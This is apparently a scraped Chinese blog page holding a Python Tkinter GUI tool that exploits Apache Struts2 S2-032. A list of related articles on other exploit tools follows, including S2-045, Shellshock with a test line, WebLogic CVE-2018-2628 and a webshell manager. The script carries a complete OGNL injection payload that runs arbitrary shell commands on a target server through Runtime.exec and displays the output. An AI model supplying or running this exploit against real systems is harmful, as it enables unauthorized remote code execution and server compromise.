# -*- coding: utf-8 -*-

import requests
from Tkinter import * class App:
def __init__(self, master):
frame = Frame(master)
# 主窗口里面再创建一个frame
self.fm_1 = Frame(frame)
self.fm_1.pack() # 设置一个label
#l1 = Label(self.fm_1, text="url:").grid(row=0) # 设置一个url输入框
s1 = StringVar()
self.e1 = Entry(self.fm_1, borderwidth=3, textvariable=s1)
self.e1.grid(row=0, column=0,columnspan=1,sticky=N + S)
s1.set("Input url here ") # 添加一个命令输入框
s2 = StringVar()
self.e2 = Entry(self.fm_1, borderwidth=3, textvariable=s2)
self.e2.grid(row=0, column=1,columnspan=1,sticky=N + S)
s2.set("Input cmd here ") # 添加一个文本框,作为函数运行的输出
# 添加一个self可以在其他定义的函数进行调用
self.text = Text(self.fm_1)
self.text.grid(row=3, column=0, columnspan=4, sticky=N + S) # 添加一个按钮
b1 = Button(self.fm_1,
text="命令执行",
command=self.cmd).grid(row=0,
column=2)
# 添加一个清空按钮
b2 = Button(self.fm_1,
text="清空",
command=self.clearText).grid(row=0,
column=3)
'''
# 添加一个输出框,将函数运行结果输出到界面
v1 = StringVar()
e2 = Entry(fm_1 ,textvariable = v1,borderwidth = 3, ) v1.set("normal")
e2.grid(row=2, column =0,columnspan = 3,rowspan = 5)
''' frame.pack()
def clearText(self):
self.text.delete(0.0,END)
def cmd(self):
url = self.e1.get()
cmd = self.e2.get()
# 对url进行处理,拼接payload
url_patterns = url.split("action")
url=url_patterns[0]+"action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd="+cmd+"&pp=\\\\A&ppp=%20&encoding=UTF-8"
response = requests.get(url)
result = response.text
self.text.insert(INSERT, "[*] Apache Structs2 S2-032\n")
self.text.insert(INSERT, "[*] cmd: "+cmd+"\n")
self.text.insert(INSERT, '\n'+result+'\n') if __name__ == '__main__':
root = Tk() # 设置窗体名称
root.title("struts2-032利用工具") # 设置窗体大小
# root.geometry('300x300') app = App(root)
root.mainloop()
root.destroy()

struts-032利用工具 PythonGUI的更多相关文章

  1. Struts2漏洞利用工具下载(更新2017-V1.8版增加S2-045/S2-046)

    Struts2漏洞利用工具下载(已更新V1.8版) 2017-03-21:增加S2-046,官方发布S2-046和S2-045漏洞引发原因一样,只是利用漏洞的位置发生了变化,S2-046方式可能绕过部 ...

  2. [原创]K8 Struts2 Exp 20170310 S2-045(Struts2综合漏洞利用工具)

    工具: K8 Struts2 Exploit组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http://qqhack8.blog.163.com发布: 2014/7/31 10:24 ...

  3. CVE-2014-6271 Bash漏洞利用工具

    CVE-2014-6271 Bash漏洞利用工具 Exploit 1 (CVE-2014-6271) env x='() { :;}; echo vulnerable' bash -c "e ...

  4. 【教程】手把手教你如何利用工具(IE9的F12)去分析模拟登陆网站(百度首页)的内部逻辑过程

    [前提] 想要实现使用某种语言,比如Python,C#等,去实现模拟登陆网站的话,首先要做的事情就是使用某种工具,去分析本身使用浏览器去登陆网页的时候,其内部的执行过程,内部逻辑. 此登陆的逻辑过程, ...

  5. jenkins远程命令执行利用工具

    昨天看小飞侠写的py的jenkins的脚本,昨天晚上在微信里评论今天写一个JAVA的GUI的tools. 早上花了点时间写一下: code: package com.tools; import jav ...

  6. 7. Vulnerability exploitation tools (漏洞利用工具 11个)

    Metasploit于2004年发布时,将风暴带入了安全世界.它是开发,测试和使用漏洞利用代码的高级开源平台. 可以将有效载荷,编码器,无操作生成器和漏洞利用的可扩展模型集成在一起,使得Metaspl ...

  7. 利用工具将数据库中的表导出到word中

    1.动软代码生成器 效果图: 数据库设计说明书中的一项,刚好我负责写这个文档, 18张表,前两张表是自己画表格自己填充内容,写到第三张表的时候就已经崩溃了(我觉得我耐力还是够的,怎么说也画完了两张表呢 ...

  8. weblogic CVE-2018-2628漏洞利用工具

    weblogic CVE-2018-2628漏洞利用 漏洞环境: Windows2018R2 weblogic10.3.6 漏洞利用过程: 搭建好存在CVE-2018-2628漏洞的weblogic平 ...

  9. 开源Webshell利用工具——Altman

    开源Webshell利用工具--Altman keepwn @ 工具 2014-06-04 共 6114 人围观,发现 43 个不明物体收藏该文 Altman,the webshell tool,自己 ...

随机推荐

  1. 6 小时 Python 入门

    6 小时 Python 入门 以下操作均在 Windows 环境下进行操作,先说明一下哈 一.安装 Python 1.官网下载 Python 进入官网(https://www.python.org), ...

  2. log4j和lockback的比较,二者可否同时使用

    一.log4j和logback的介绍 log4j: 可以控制日志信息输送的目的地是控制台.文件.GUI组件,甚至是套接口服务器.NT的事件记录器.UNIX Syslog守护进程等:可以控制每一条日志的 ...

  3. Solution -「Gym 102759F」Interval Graph

    \(\mathcal{Description}\)   Link.   给定 \(n\) 个区间,第 \(i\) 个为 \([l_i,r_i]\),有权值 \(w_i\).设一无向图 \(G=(V=\ ...

  4. Solution -「UR #2」「UOJ #32」跳蚤公路

    \(\mathcal{Description}\)   Link.   给定一个 \(n\) 个点 \(m\) 条边的带权有向图,每条边还有属性 \(s\in\{-1,0,1\}\).对于每个 \(u ...

  5. NTFS格式下的Alternate Data Streams

    今天我写点NTFS的交换数据流以及其带来的安全问题(Alternate Data Stream/ADS) =============================================== ...

  6. 添加删除系统右键菜单(就是上下文菜单,也就是Context Menu)中的一些选项

    随着电脑安装的东西越来越多,右侧菜单也原来越长,很不方面.所以打算清理一下 我删除的大约以下几个,友好一点的都可以配置.当然也可以通过注册表直接删除. 特:注册表备份,即导入导出,避免一失足成千古恨. ...

  7. Devops 开发运维高级篇之容器管理

    Devops 开发运维高级篇之容器管理 安装docker Dockerfile镜像脚本入门制作 Harbor镜像仓库安装及使用 不过多解释docker直接秀基操 安装docker:(jenkins服务 ...

  8. Java泛型的那些事

    1.泛型概述 1.1.为什么使用泛型 没有泛型,在编写代码时只能使用具体类型或Object类型,无法做到使用者想要使用什么类型就是类型.比如:创建一个方法,形参需要指定需要使用的数据类型,在创建方法之 ...

  9. CobaltStrike逆向学习系列(12):RDI 任务发布流程分析

    这是[信安成长计划]的第 12 篇文章 0x00 目录 0x01 任务构建 0x02 结果处理 0x03 功能 DLL 分析 之前的分析都是针对整个 CS 的框架来进行的,但是功能也是整个 C2 中相 ...

  10. web安全之备份

    1:打开界面,一头雾水.根据题目提示"备份是个好习惯"可以想到,这应该是一个代码泄露问题.常见的网页主页index.php.那么备份文件一般是.bak文件类型.尝试下载该文件 in ...